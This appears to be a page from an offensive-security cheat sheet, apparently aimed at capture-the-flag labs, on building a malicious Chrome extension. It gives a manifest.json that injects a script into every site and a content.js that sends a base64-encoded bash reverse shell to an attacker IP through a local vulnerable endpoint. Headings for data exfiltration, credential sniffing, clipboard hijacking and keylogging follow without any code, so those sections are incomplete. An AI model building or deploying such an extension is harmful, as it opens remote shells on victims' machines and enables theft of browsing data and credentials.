Create Malicious Chrome Extension
Anatomy of a Malicious Extension
To build one, you typically only need two files:
manifest.json
This file defines what the extension can do.
permissions: Request access to storage (to persist data) or tabs.host_permissions: Use<all_urls>to ensure your script runs on every site the user visits.content_scripts: This is the engine. It tellsChromewhichJavaScriptfile to inject into pages.
{
"manifest_version": 3,
"name": "AppName",
"version": "1.0",
"permissions": ["storage", "activeTab"],
"host_permissions": ["<all_urls>"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"]
}
]
}content.js
This script runs in the context of the web pages the user visits.
It has full access to the DOM.
// Configuration
const attackerIP = "10.10.14.5"; // Your VPN/attacking machine IP
const attackerPort = "4444"; // Your netcat listener port
const TARGET = "http://127.0.0.1:5000/vulnerable-endpoint/"; // Local vulnerable service
// Reverse shell payload
const cmd = `bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`;
const b64 = btoa(cmd);
const exploit = `YOUR_INJECTION_HERE_${b64}`;
// Send the exploit to the vulnerable local endpoint
fetch(TARGET + encodeURIComponent(exploit), { mode: "no-cors" });Common Payloads
When exploiting internal services via an extension, always use Base64 encoding for your payloads.
Since your code is running inside a fetch() or img.src, special characters will break the URL structure.
SSRF via Extension
Extensions can bypass Same-Origin Policy restrictions in certain contexts or use the browser as a proxy to hit internal APIs.
Data Exfiltration (Beacons)
To send stolen data (cookies, tokens, or command output) back to your server:
Credential Sniffing
Hooking into form submissions to steal passwords:
Clipboard Hijacking
Screenshot Capture
This must run in background.js, not content.js
Alternative with two files:
Keylogging
Form Hijacking
Last updated